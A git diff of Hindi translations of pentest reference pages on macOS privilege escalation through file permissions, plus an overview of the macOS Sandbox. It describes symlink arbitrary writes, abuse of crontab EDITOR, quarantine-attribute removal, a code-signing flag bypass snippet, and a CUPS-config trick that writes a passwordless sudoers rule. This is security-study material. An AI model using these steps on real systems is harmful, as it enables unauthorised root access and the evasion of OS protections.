एक उपयोगकर्ता **समूह** को **फाइल** पर **लिखने** की अनुमति है -पिछले संयोजनों में से किसी के साथ, एक हमलावर **एक्सपेक्टेड पथ पर एक **sym/hard link** इंजेक्ट कर सकता है ताकि एक विशेषाधिकार प्राप्त मनमाना लेखन प्राप्त किया जा सके। +पिछले संयोजनों में से किसी के साथ, एक हमलावर **एक **sym/hard link** को अपेक्षित पथ पर **इंजेक्ट** कर सकता है ताकि एक विशेषाधिकार प्राप्त मनमाना लिख सके। ### Folder root R+X Special case -यदि एक **डायरेक्टरी** में फ़ाइलें हैं जहाँ **केवल रूट को R+X पहुँच** है, तो वे **किसी और के लिए उपलब्ध नहीं हैं**। इसलिए एक भेद्यता जो **एक फ़ाइल को स्थानांतरित करने की अनुमति देती है जो एक उपयोगकर्ता द्वारा पढ़ी जा सकती है**, जिसे उस **प्रतिबंध** के कारण नहीं पढ़ा जा सकता, इस फ़ोल्डर से **किसी अन्य में**, इन फ़ाइलों को पढ़ने के लिए दुरुपयोग किया जा सकता है। +यदि एक **डायरेक्टरी** में फ़ाइलें हैं जहाँ **केवल रूट के पास R+X पहुँच** है, तो वे **किसी और के लिए उपलब्ध नहीं हैं**। इसलिए एक भेद्यता जो **एक फ़ाइल को स्थानांतरित करने की अनुमति देती है जिसे एक उपयोगकर्ता पढ़ सकता है**, जिसे उस **प्रतिबंध** के कारण नहीं पढ़ा जा सकता, इस फ़ोल्डर से **किसी अन्य में** स्थानांतरित करने के लिए दुरुपयोग किया जा सकता है। -Example in: [https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions](https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions) +उदाहरण में: [https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions](https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions) ## Symbolic Link / Hard Link ### Permissive file/folder -यदि एक विशेषाधिकार प्राप्त प्रक्रिया **फाइल** में डेटा लिख रही है जिसे **कम विशेषाधिकार प्राप्त उपयोगकर्ता** द्वारा **नियंत्रित** किया जा सकता है, या जिसे एक कम विशेषाधिकार प्राप्त उपयोगकर्ता द्वारा **पहले बनाया गया** हो। उपयोगकर्ता बस इसे एक अन्य फ़ाइल की ओर **संकेतित** कर सकता है एक प्रतीकात्मक या हार्ड लिंक के माध्यम से, और विशेषाधिकार प्राप्त प्रक्रिया उस फ़ाइल पर लिखेगी। +यदि एक विशेषाधिकार प्राप्त प्रक्रिया **फाइल** में डेटा लिख रही है जिसे **कम विशेषाधिकार प्राप्त उपयोगकर्ता** द्वारा **नियंत्रित** किया जा सकता है, या जिसे कम विशेषाधिकार प्राप्त उपयोगकर्ता द्वारा **पहले बनाया गया** हो। उपयोगकर्ता बस इसे एक अन्य फ़ाइल की ओर **संकेतित** कर सकता है एक Symbolic या Hard link के माध्यम से, और विशेषाधिकार प्राप्त प्रक्रिया उस फ़ाइल पर लिखेगी। -चेक करें अन्य अनुभागों में जहाँ एक हमलावर **विशेषाधिकार बढ़ाने के लिए मनमाने लेखन का दुरुपयोग कर सकता है**। +चेक करें अन्य अनुभागों में जहाँ एक हमलावर **विशेषाधिकार बढ़ाने के लिए मनमाना लिखने का दुरुपयोग कर सकता है**। ### Open `O_NOFOLLOW` -फ्लैग `O_NOFOLLOW` जब फ़ंक्शन `open` द्वारा उपयोग किया जाता है तो अंतिम पथ घटक में एक सिम्लिंक का पालन नहीं करेगा, लेकिन यह पथ के बाकी हिस्से का पालन करेगा। पथ में सिम्लिंक्स का पालन करने से रोकने का सही तरीका फ्लैग `O_NOFOLLOW_ANY` का उपयोग करना है। +फ्लैग `O_NOFOLLOW` जब `open` फ़ंक्शन द्वारा उपयोग किया जाता है तो अंतिम पथ घटक में एक symlink का पालन नहीं करेगा, लेकिन यह पथ के बाकी हिस्से का पालन करेगा। पथ में symlinks का पालन करने से रोकने का सही तरीका फ्लैग `O_NOFOLLOW_ANY` का उपयोग करना है। ## .fileloc -**`.fileloc`** एक्सटेंशन वाली फ़ाइलें अन्य अनुप्रयोगों या बाइनरीज़ की ओर इशारा कर सकती हैं ताकि जब वे खोली जाएँ, तो अनुप्रयोग/बाइनरी वह हो जो निष्पादित होगा।\ -Example: +**`.fileloc`** एक्सटेंशन वाली फ़ाइलें अन्य अनुप्रयोगों या बाइनरीज़ की ओर इशारा कर सकती हैं ताकि जब वे खोली जाएं, तो अनुप्रयोग/बाइनरी ही निष्पादित होगा।\ +उदाहरण: ```xml @@ -60,15 +60,15 @@ Example: ### लीक FD (कोई `O_CLOEXEC` नहीं) -यदि `open` के कॉल में `O_CLOEXEC` ध्वज नहीं है, तो फ़ाइल वर्णनकर्ता बच्चे की प्रक्रिया द्वारा विरासत में लिया जाएगा। इसलिए, यदि एक विशेषाधिकार प्राप्त प्रक्रिया एक विशेषाधिकार प्राप्त फ़ाइल खोलती है और एक प्रक्रिया को अटैकर द्वारा नियंत्रित करती है, तो अटैकर **विशेषाधिकार प्राप्त फ़ाइल पर FD विरासत में लेगा**। +यदि `open` के कॉल में `O_CLOEXEC` ध्वज नहीं है, तो फ़ाइल वर्णनकर्ता बच्चे की प्रक्रिया द्वारा विरासत में लिया जाएगा। इसलिए, यदि एक विशेषाधिकार प्राप्त प्रक्रिया एक विशेषाधिकार प्राप्त फ़ाइल खोलती है और हमलावर द्वारा नियंत्रित प्रक्रिया को निष्पादित करती है, तो हमलावर **विशेषाधिकार प्राप्त फ़ाइल पर FD विरासत में लेगा**। -यदि आप एक **प्रक्रिया को उच्च विशेषाधिकार के साथ एक फ़ाइल या फ़ोल्डर खोलने के लिए मजबूर कर सकते हैं**, तो आप **`crontab`** का दुरुपयोग कर सकते हैं ताकि `/etc/sudoers.d` में **`EDITOR=exploit.py`** के साथ एक फ़ाइल खोली जा सके, ताकि `exploit.py` को `/etc/sudoers` के अंदर फ़ाइल का FD मिल सके और इसका दुरुपयोग कर सके। +यदि आप एक **प्रक्रिया को उच्च विशेषाधिकार के साथ फ़ाइल या फ़ोल्डर खोलने के लिए मजबूर कर सकते हैं**, तो आप **`crontab`** का दुरुपयोग कर सकते हैं ताकि `/etc/sudoers.d` में **`EDITOR=exploit.py`** के साथ एक फ़ाइल खोली जा सके, ताकि `exploit.py` को `/etc/sudoers` के अंदर फ़ाइल का FD मिल सके और इसका दुरुपयोग कर सके। उदाहरण के लिए: [https://youtu.be/f1HA5QhLQ7Y?t=21098](https://youtu.be/f1HA5QhLQ7Y?t=21098), कोड: https://github.com/gergelykalman/CVE-2023-32428-a-macOS-LPE-via-MallocStackLogging ## संगरोध xattrs ट्रिक्स से बचें -### इसे हटाएं +### इसे हटा दें ```bash xattr -d com.apple.quarantine /path/to/file_or_app ``` @@ -86,7 +86,7 @@ ls -lO /tmp/asd ``` ### defvfs mount -A **devfs** mount **xattr का समर्थन नहीं करता**, अधिक जानकारी के लिए देखें [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html) +A **devfs** mount **xattr** का समर्थन नहीं करता, अधिक जानकारी के लिए [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html) ```bash mkdir /tmp/mnt mount_devfs -o noowners none "/tmp/mnt" @@ -122,7 +122,7 @@ ls -le /tmp/test **AppleDouble** फ़ाइल प्रारूप एक फ़ाइल को उसकी ACEs सहित कॉपी करता है। -[**स्रोत कोड**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) में यह देखना संभव है कि xattr के अंदर संग्रहीत ACL पाठ प्रतिनिधित्व जिसे **`com.apple.acl.text`** कहा जाता है, उसे डिकंप्रेस की गई फ़ाइल में ACL के रूप में सेट किया जाएगा। इसलिए, यदि आपने एक एप्लिकेशन को **AppleDouble** फ़ाइल प्रारूप में एक ज़िप फ़ाइल में संकुचित किया है जिसमें एक ACL है जो अन्य xattrs को लिखने से रोकता है... तो क्वारंटाइन xattr एप्लिकेशन में सेट नहीं किया गया था: +[**स्रोत कोड**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) में यह देखना संभव है कि xattr के अंदर संग्रहीत ACL पाठ प्रतिनिधित्व जिसे **`com.apple.acl.text`** कहा जाता है, को डिकंप्रेस की गई फ़ाइल में ACL के रूप में सेट किया जाएगा। इसलिए, यदि आपने एक एप्लिकेशन को **AppleDouble** फ़ाइल प्रारूप में एक ज़िप फ़ाइल में संकुचित किया है जिसमें एक ACL है जो अन्य xattrs को इसमें लिखने से रोकता है... तो क्वारंटाइन xattr एप्लिकेशन में सेट नहीं किया गया था: अधिक जानकारी के लिए [**मूल रिपोर्ट**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) की जांच करें। @@ -148,6 +148,7 @@ ls -le test Not really needed but I leave it there just in case: + {{#ref}} macos-xattr-acls-extra-stuff.md {{#endref}} @@ -160,7 +161,7 @@ macos-xattr-acls-extra-stuff.md ### फ्लैग्स `CS_REQUIRE_LV` और `CS_FORCED_LV` को बायपास करें -यह संभव है कि एक निष्पादित बाइनरी अपने स्वयं के फ्लैग्स को संशोधित करे ताकि जांचों को बायपास किया जा सके, जैसे: +यह संभव है कि एक निष्पादित बाइनरी अपने स्वयं के फ्लैग्स को संशोधित करे ताकि कोड के साथ जांचों को बायपास किया जा सके: ```c // Code from https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/ int pid = getpid(); @@ -249,7 +250,7 @@ hdiutil detach /private/tmp/mnt 1>/dev/null hdiutil create -srcfolder justsome.app justsome.dmg ``` आमतौर पर macOS डिस्क को `com.apple.DiskArbitrarion.diskarbitrariond` Mach सेवा से जोड़ता है (जो `/usr/libexec/diskarbitrationd` द्वारा प्रदान की जाती है)। यदि LaunchDaemons plist फ़ाइल में `-d` पैरामीटर जोड़ा जाए और पुनः प्रारंभ किया जाए, तो यह `/var/log/diskarbitrationd.log` में लॉग संग्रहीत करेगा।\ -हालांकि, `hdik` और `hdiutil` जैसे उपकरणों का उपयोग करके `com.apple.driver.DiskImages` kext के साथ सीधे संवाद करना संभव है। +हालांकि, `com.apple.driver.DiskImages` kext के साथ सीधे संवाद करने के लिए `hdik` और `hdiutil` जैसे उपकरणों का उपयोग करना संभव है। ## मनमाने लेखन @@ -278,15 +279,15 @@ hdiutil create -srcfolder justsome.app justsome.dmg ``` -बस स्क्रिप्ट `/Applications/Scripts/privesc.sh` बनाएं जिसमें **कमांड** हों जिन्हें आप रूट के रूप में चलाना चाहते हैं। +Just generate the script `/Applications/Scripts/privesc.sh` with the **commands** you would like to run as root. -### Sudoers फ़ाइल +### Sudoers File -यदि आपके पास **मनमाना लेखन** है, तो आप फ़ोल्डर **`/etc/sudoers.d/`** के अंदर एक फ़ाइल बना सकते हैं जो आपको **sudo** विशेषाधिकार देती है। +यदि आपके पास **मनमाना लेखन** है, तो आप **`/etc/sudoers.d/`** फ़ोल्डर के अंदर एक फ़ाइल बना सकते हैं जो आपको **sudo** विशेषाधिकार देती है। -### PATH फ़ाइलें +### PATH files -फ़ाइल **`/etc/paths`** मुख्य स्थानों में से एक है जो PATH env वेरिएबल को भरती है। इसे ओवरराइट करने के लिए आपको रूट होना चाहिए, लेकिन यदि **privileged process** से कोई स्क्रिप्ट कुछ **कमांड बिना पूर्ण पथ** के निष्पादित कर रही है, तो आप इस फ़ाइल को संशोधित करके इसे **हाइजैक** कर सकते हैं। +फ़ाइल **`/etc/paths`** मुख्य स्थानों में से एक है जो PATH env वेरिएबल को भरता है। इसे ओवरराइट करने के लिए आपको रूट होना चाहिए, लेकिन यदि **privileged process** से कोई स्क्रिप्ट कुछ **command बिना पूर्ण पथ** के निष्पादित कर रही है, तो आप इस फ़ाइल को संशोधित करके इसे **हाइजैक** कर सकते हैं। आप नए फ़ोल्डरों को `PATH` env वेरिएबल में लोड करने के लिए **`/etc/paths.d`** में भी फ़ाइलें लिख सकते हैं। @@ -294,17 +295,17 @@ hdiutil create -srcfolder justsome.app justsome.dmg यह तकनीक [इस लेख](https://www.kandji.io/blog/macos-audit-story-part1) में उपयोग की गई थी। -फ़ाइल `/etc/cups/cups-files.conf` निम्नलिखित सामग्री के साथ बनाएं: +फ़ाइल `/etc/cups/cups-files.conf` को निम्नलिखित सामग्री के साथ बनाएं: ``` ErrorLog /etc/sudoers.d/lpe LogFilePerm 777 ``` -यह `/etc/sudoers.d/lpe` फ़ाइल बनाएगा जिसमें अनुमति 777 होगी। अंत में अतिरिक्त जंक त्रुटि लॉग निर्माण को ट्रिगर करने के लिए है। +यह `/etc/sudoers.d/lpe` फ़ाइल को 777 अनुमतियों के साथ बनाएगा। अंत में अतिरिक्त कचरा त्रुटि लॉग निर्माण को ट्रिगर करने के लिए है। फिर, `/etc/sudoers.d/lpe` में आवश्यक कॉन्फ़िगरेशन लिखें ताकि विशेषाधिकार बढ़ाने के लिए `%staff ALL=(ALL) NOPASSWD:ALL` हो। -फिर, फ़ाइल `/etc/cups/cups-files.conf` को फिर से संशोधित करें और `LogFilePerm 700` इंगित करें ताकि नई sudoers फ़ाइल मान्य हो सके `cupsctl` को कॉल करते समय। +फिर, फ़ाइल `/etc/cups/cups-files.conf` को फिर से संशोधित करें और `LogFilePerm 700` इंगित करें ताकि नया sudoers फ़ाइल मान्य हो सके `cupsctl` को कॉल करके। ### Sandbox Escape @@ -326,7 +327,7 @@ echo $FILENAME ``` ## POSIX साझा मेमोरी -**POSIX साझा मेमोरी** POSIX-संगत ऑपरेटिंग सिस्टम में प्रक्रियाओं को एक सामान्य मेमोरी क्षेत्र तक पहुँचने की अनुमति देती है, जो अन्य इंटर-प्रोसेस संचार विधियों की तुलना में तेज़ संचार को सुविधाजनक बनाती है। इसमें `shm_open()` के साथ एक साझा मेमोरी ऑब्जेक्ट बनाना या खोलना, `ftruncate()` के साथ इसका आकार सेट करना, और `mmap()` का उपयोग करके इसे प्रक्रिया के पते की जगह में मैप करना शामिल है। प्रक्रियाएँ फिर सीधे इस मेमोरी क्षेत्र से पढ़ और लिख सकती हैं। समवर्ती पहुँच को प्रबंधित करने और डेटा भ्रष्टाचार को रोकने के लिए, समन्वय तंत्र जैसे म्यूटेक्स या सेमाफोर का अक्सर उपयोग किया जाता है। अंततः, प्रक्रियाएँ `munmap()` और `close()` के साथ साझा मेमोरी को अनमैप और बंद करती हैं, और वैकल्पिक रूप से `shm_unlink()` के साथ मेमोरी ऑब्जेक्ट को हटा देती हैं। यह प्रणाली विशेष रूप से उन वातावरणों में कुशल, तेज IPC के लिए प्रभावी है जहाँ कई प्रक्रियाओं को साझा डेटा तक तेजी से पहुँचने की आवश्यकता होती है। +**POSIX साझा मेमोरी** POSIX-अनुरूप ऑपरेटिंग सिस्टम में प्रक्रियाओं को एक सामान्य मेमोरी क्षेत्र तक पहुँचने की अनुमति देती है, जो अन्य इंटर-प्रोसेस संचार विधियों की तुलना में तेज़ संचार को सुविधाजनक बनाती है। इसमें `shm_open()` के साथ एक साझा मेमोरी ऑब्जेक्ट बनाना या खोलना, `ftruncate()` के साथ इसका आकार सेट करना, और `mmap()` का उपयोग करके इसे प्रक्रिया के पते के स्थान में मैप करना शामिल है। प्रक्रियाएँ फिर सीधे इस मेमोरी क्षेत्र से पढ़ और लिख सकती हैं। समवर्ती पहुँच को प्रबंधित करने और डेटा भ्रष्टाचार को रोकने के लिए, समन्वय तंत्र जैसे म्यूटेक्स या सेमाफोर का अक्सर उपयोग किया जाता है। अंततः, प्रक्रियाएँ `munmap()` और `close()` के साथ साझा मेमोरी को अनमैप और बंद करती हैं, और वैकल्पिक रूप से `shm_unlink()` के साथ मेमोरी ऑब्जेक्ट को हटा देती हैं। यह प्रणाली विशेष रूप से उन वातावरणों में कुशल, तेज IPC के लिए प्रभावी है जहाँ कई प्रक्रियाओं को साझा डेटा तक तेजी से पहुँचने की आवश्यकता होती है।
@@ -422,11 +423,11 @@ return 0; ## macOS Guarded Descriptors -**macOSCguarded descriptors** एक सुरक्षा विशेषता है जो macOS में उपयोगकर्ता अनुप्रयोगों में **फाइल डिस्क्रिप्टर ऑपरेशंस** की सुरक्षा और विश्वसनीयता को बढ़ाने के लिए पेश की गई है। ये गार्डेड डिस्क्रिप्टर्स फाइल डिस्क्रिप्टर्स के साथ विशिष्ट प्रतिबंधों या "गार्ड्स" को जोड़ने का एक तरीका प्रदान करते हैं, जिन्हें कर्नेल द्वारा लागू किया जाता है। +**macOSCguarded descriptors** एक सुरक्षा विशेषता है जो macOS में उपयोगकर्ता अनुप्रयोगों में **फाइल डिस्क्रिप्टर ऑपरेशंस** की सुरक्षा और विश्वसनीयता को बढ़ाने के लिए पेश की गई है। ये संरक्षित डिस्क्रिप्टर एक विशेष तरीके से फाइल डिस्क्रिप्टर के साथ विशिष्ट प्रतिबंध या "गार्ड" को जोड़ने का एक तरीका प्रदान करते हैं, जिन्हें कर्नेल द्वारा लागू किया जाता है। -यह विशेषता कुछ प्रकार की सुरक्षा कमजोरियों जैसे **अनधिकृत फाइल एक्सेस** या **रेस कंडीशंस** को रोकने के लिए विशेष रूप से उपयोगी है। ये कमजोरियाँ तब होती हैं जब उदाहरण के लिए एक थ्रेड एक फाइल डिस्क्रिप्शन को एक्सेस कर रहा होता है जिससे **दूसरे कमजोर थ्रेड को उस पर एक्सेस मिलता है** या जब एक फाइल डिस्क्रिप्टर को **एक कमजोर चाइल्ड प्रोसेस द्वारा विरासत में लिया जाता है**। इस कार्यक्षमता से संबंधित कुछ फ़ंक्शन हैं: +यह विशेषता कुछ प्रकार की सुरक्षा कमजोरियों जैसे **अनधिकृत फाइल एक्सेस** या **रेस कंडीशंस** को रोकने के लिए विशेष रूप से उपयोगी है। ये कमजोरियाँ तब होती हैं जब उदाहरण के लिए एक थ्रेड एक फाइल डिस्क्रिप्शन को एक्सेस कर रहा होता है जिससे **दूसरे कमजोर थ्रेड को उस पर एक्सेस मिलता है** या जब एक फाइल डिस्क्रिप्टर को **एक कमजोर चाइल्ड प्रोसेस द्वारा विरासत में लिया जाता है**। इस कार्यक्षमता से संबंधित कुछ कार्य हैं: -- `guarded_open_np`: एक FD को गार्ड के साथ खोलें +- `guarded_open_np`: एक गार्ड के साथ FD खोलें - `guarded_close_np`: इसे बंद करें - `change_fdguard_np`: एक डिस्क्रिप्टर पर गार्ड फ्लैग बदलें (यहां तक कि गार्ड सुरक्षा को हटाना) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md index ba5383519..8abf5db52 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md @@ -4,9 +4,9 @@ ## Basic Information -MacOS Sandbox (शुरुआत में Seatbelt कहा जाता था) **ऐप्लिकेशनों को सीमित करता है** जो सैंडबॉक्स के अंदर चल रही हैं **सैंडबॉक्स प्रोफ़ाइल में निर्दिष्ट अनुमत क्रियाओं** तक। यह सुनिश्चित करने में मदद करता है कि **ऐप्लिकेशन केवल अपेक्षित संसाधनों तक पहुंच प्राप्त करेगा**। +MacOS Sandbox (शुरुआत में Seatbelt कहा जाता था) **ऐप्लिकेशनों को सीमित करता है** जो सैंडबॉक्स के अंदर चल रही हैं **सैंडबॉक्स प्रोफ़ाइल में निर्दिष्ट अनुमत क्रियाओं** तक। यह सुनिश्चित करने में मदद करता है कि **ऐप्लिकेशन केवल अपेक्षित संसाधनों तक पहुंच बनाएगा**। -कोई भी ऐप जिसमें **अधिकार** **`com.apple.security.app-sandbox`** है, सैंडबॉक्स के अंदर निष्पादित होगा। **एप्पल बाइनरी** आमतौर पर सैंडबॉक्स के अंदर निष्पादित होती हैं, और **ऐप स्टोर** से सभी ऐप्लिकेशनों के पास वह अधिकार होता है। इसलिए कई ऐप्लिकेशन सैंडबॉक्स के अंदर निष्पादित होंगे। +कोई भी ऐप जिसमें **अधिकार** **`com.apple.security.app-sandbox`** है, सैंडबॉक्स के अंदर चलाया जाएगा। **एप्पल बाइनरीज़** आमतौर पर सैंडबॉक्स के अंदर चलती हैं, और **ऐप स्टोर** से सभी ऐप्स के पास वह अधिकार होता है। इसलिए कई ऐप्लिकेशन सैंडबॉक्स के अंदर चलाए जाएंगे। यह नियंत्रित करने के लिए कि एक प्रक्रिया क्या कर सकती है या नहीं, **सैंडबॉक्स में लगभग किसी भी ऑपरेशन में हुक होते हैं** जो एक प्रक्रिया कोशिश कर सकती है (अधिकांश syscalls सहित) **MACF** का उपयोग करते हुए। हालाँकि, ऐप के **अधिकारों** के आधार पर सैंडबॉक्स प्रक्रिया के साथ अधिक उदार हो सकता है। @@ -19,7 +19,7 @@ MacOS Sandbox (शुरुआत में Seatbelt कहा जाता थ ### Containers -हर सैंडबॉक्स की गई ऐप्लिकेशन का अपना कंटेनर होगा `~/Library/Containers/{CFBundleIdentifier}` : +हर सैंडबॉक्स किया गया ऐप्लिकेशन का अपना कंटेनर होगा `~/Library/Containers/{CFBundleIdentifier}` : ```bash ls -l ~/Library/Containers total 0 @@ -30,7 +30,7 @@ drwx------@ 4 username staff 128 Mar 25 14:14 com.apple.Accessibility-Settings drwx------@ 4 username staff 128 Mar 25 14:10 com.apple.ActionKit.BundledIntentHandler [...] ``` -प्रत्येक बंडल आईडी फ़ोल्डर के अंदर आप **plist** और ऐप का **Data directory** पा सकते हैं, जिसकी संरचना होम फ़ोल्डर की नकल करती है: +प्रत्येक बंडल आईडी फ़ोल्डर के अंदर आप **plist** और ऐप के **Data directory** को पा सकते हैं, जिसकी संरचना होम फ़ोल्डर की नकल करती है: ```bash cd /Users/username/Library/Containers/com.apple.Safari ls -la @@ -54,9 +54,9 @@ drwx------ 2 username staff 64 Mar 24 18:02 SystemData drwx------ 2 username staff 64 Mar 24 18:02 tmp ``` > [!CAUTION] -> ध्यान दें कि भले ही symlinks "Sandbox" से "escape" करने और अन्य फ़ोल्डरों तक पहुँचने के लिए वहाँ हैं, ऐप को अभी भी **अनुमतियाँ** होनी चाहिए ताकि वह उन्हें एक्सेस कर सके। ये अनुमतियाँ **`.plist`** के अंदर `RedirectablePaths` में हैं। +> ध्यान दें कि भले ही symlinks "Sandbox" से "escape" करने और अन्य फ़ोल्डरों तक पहुँचने के लिए वहाँ हैं, ऐप को अभी भी **अनुमतियाँ** होनी चाहिए ताकि वह उन्हें एक्सेस कर सके। ये अनुमतियाँ **`.plist`** में `RedirectablePaths` के अंदर हैं। -**`SandboxProfileData`** संकलित सैंडबॉक्स प्रोफ़ाइल CFData है जिसे B64 में escaped किया गया है। +**`SandboxProfileData`** संकलित सैंडबॉक्स प्रोफ़ाइल CFData है जिसे B64 में एस्केप किया गया है। ```bash # Get container config ## You need FDA to access the file, not even just root can read it @@ -106,7 +106,7 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf... [...] ``` > [!WARNING] -> एक Sandboxed एप्लिकेशन द्वारा बनाई गई/संशोधित हर चीज़ को **quarantine attribut**e मिलेगा। यदि सैंडबॉक्स ऐप कुछ **`open`** के साथ निष्पादित करने की कोशिश करता है, तो यह Gatekeeper को ट्रिगर करके एक सैंडबॉक्स स्पेस को रोक देगा। +> एक Sandboxed एप्लिकेशन द्वारा बनाई गई/संशोधित हर चीज़ को **quarantine attribute** मिलेगा। यदि सैंडबॉक्स ऐप कुछ **`open`** के साथ निष्पादित करने की कोशिश करता है, तो यह Gatekeeper को ट्रिगर करके एक सैंडबॉक्स स्पेस को रोक देगा। ## Sandbox Profiles @@ -131,7 +131,7 @@ Sandbox प्रोफाइल कॉन्फ़िगरेशन फ़ा ) ``` > [!TIP] -> इस [**शोध**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/) **को अधिक क्रियाओं की जांच करने के लिए देखें जो अनुमति दी जा सकती हैं या अस्वीकृत की जा सकती हैं।** +> इस [**शोध**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/) **को देखें ताकि अधिक क्रियाएँ जो अनुमति दी जा सकती हैं या अस्वीकृत की जा सकती हैं, की जांच की जा सके।** > > ध्यान दें कि एक प्रोफ़ाइल के संकलित संस्करण में संचालन के नाम को एक ऐरे में उनके प्रविष्टियों द्वारा प्रतिस्थापित किया जाता है जिसे dylib और kext द्वारा जाना जाता है, जिससे संकलित संस्करण छोटा और पढ़ने में अधिक कठिन हो जाता है। @@ -139,11 +139,11 @@ Sandbox प्रोफाइल कॉन्फ़िगरेशन फ़ा - **`/usr/share/sandbox`** - **`/System/Library/Sandbox/Profiles`** -- अन्य सैंडबॉक्स प्रोफाइल की जांच [https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles](https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles) में की जा सकती है। +- अन्य सैंडबॉक्स प्रोफाइल की जांच [https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles](https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles) पर की जा सकती है। **ऐप स्टोर** ऐप्स **प्रोफ़ाइल** **`/System/Library/Sandbox/Profiles/application.sb`** का उपयोग करते हैं। आप इस प्रोफ़ाइल में देख सकते हैं कि कैसे अधिकार जैसे **`com.apple.security.network.server`** एक प्रक्रिया को नेटवर्क का उपयोग करने की अनुमति देते हैं। -फिर, कुछ **Apple डेमन सेवाएँ** विभिन्न प्रोफाइल का उपयोग करती हैं जो `/System/Library/Sandbox/Profiles/*.sb` या `/usr/share/sandbox/*.sb` में स्थित हैं। ये सैंडबॉक्स मुख्य कार्य में लागू होते हैं जो API `sandbox_init_XXX` को कॉल करता है। +फिर, कुछ **Apple डेमन सेवाएँ** विभिन्न प्रोफाइल का उपयोग करती हैं जो `/System/Library/Sandbox/Profiles/*.sb` या `/usr/share/sandbox/*.sb` में स्थित होती हैं। ये सैंडबॉक्स मुख्य कार्य में लागू होते हैं जो API `sandbox_init_XXX` को कॉल करता है। **SIP** एक सैंडबॉक्स प्रोफ़ाइल है जिसे `/System/Library/Sandbox/rootless.conf` में platform_profile कहा जाता है। @@ -199,13 +199,13 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last {{#endtab}} {{#endtabs}} -> [!NOTE] -> ध्यान दें कि **Apple द्वारा लिखित** **सॉफ़्टवेयर** जो **Windows** पर चलता है, उसमें **अतिरिक्त सुरक्षा उपाय** नहीं हैं, जैसे कि एप्लिकेशन सैंडबॉक्सिंग। +> [!TIP] +> ध्यान दें कि **Apple-authored** **software** जो **Windows** पर चलता है, उसमें **अतिरिक्त सुरक्षा उपाय** नहीं हैं, जैसे कि एप्लिकेशन सैंडबॉक्सिंग। बायपास के उदाहरण: - [https://lapcatsoftware.com/articles/sandbox-escape.html](https://lapcatsoftware.com/articles/sandbox-escape.html) -- [https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c) (वे सैंडबॉक्स के बाहर ऐसे फ़ाइलें लिखने में सक्षम हैं जिनका नाम `~$` से शुरू होता है)। +- [https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c) (वे `~$` से शुरू होने वाले नाम के साथ सैंडबॉक्स के बाहर फ़ाइलें लिखने में सक्षम हैं)। ### सैंडबॉक्स ट्रेसिंग @@ -220,14 +220,14 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last ```bash sandbox-exec -f /tmp/trace.sb /bin/ls ``` -`/tmp/trace.out` में आप देख सकेंगे कि हर बार इसे कॉल करने पर प्रत्येक सैंडबॉक्स चेक कैसे किया गया (तो, बहुत सारे डुप्लिकेट)। +In `/tmp/trace.out` आप हर बार किए गए प्रत्येक सैंडबॉक्स चेक को देख सकेंगे (तो, बहुत सारे डुप्लिकेट होंगे)। -**`-t`** पैरामीटर का उपयोग करके सैंडबॉक्स को ट्रेस करना भी संभव है: `sandbox-exec -t /path/trace.out -p "(version 1)" /bin/ls` +सैंडबॉक्स को **`-t`** पैरामीटर का उपयोग करके ट्रेस करना भी संभव है: `sandbox-exec -t /path/trace.out -p "(version 1)" /bin/ls` #### API के माध्यम से `libsystem_sandbox.dylib` द्वारा निर्यातित `sandbox_set_trace_path` फ़ंक्शन एक ट्रेस फ़ाइल नाम निर्दिष्ट करने की अनुमति देता है जहाँ सैंडबॉक्स चेक लिखे जाएंगे।\ -यह `sandbox_vtrace_enable()` को कॉल करके कुछ समान करना भी संभव है और फिर `sandbox_vtrace_report()` को कॉल करके बफर से लॉग त्रुटि प्राप्त करना। +यह `sandbox_vtrace_enable()` को कॉल करके और फिर `sandbox_vtrace_report()` को कॉल करके बफर से लॉग त्रुटियों को प्राप्त करके कुछ समान करना भी संभव है। ### सैंडबॉक्स निरीक्षण @@ -239,11 +239,11 @@ MacOS सिस्टम सैंडबॉक्स प्रोफाइल और यदि कोई तृतीय-पक्ष एप्लिकेशन _**com.apple.security.app-sandbox**_ अधिकार लेता है, तो सिस्टम उस प्रक्रिया पर **/System/Library/Sandbox/Profiles/application.sb** प्रोफाइल लागू करता है। -iOS में, डिफ़ॉल्ट प्रोफाइल को **container** कहा जाता है और हमारे पास SBPL पाठ प्रतिनिधित्व नहीं है। मेमोरी में, इस सैंडबॉक्स को सैंडबॉक्स से प्रत्येक अनुमति के लिए Allow/Deny बाइनरी ट्री के रूप में दर्शाया गया है। +iOS में, डिफ़ॉल्ट प्रोफाइल को **container** कहा जाता है और हमारे पास SBPL 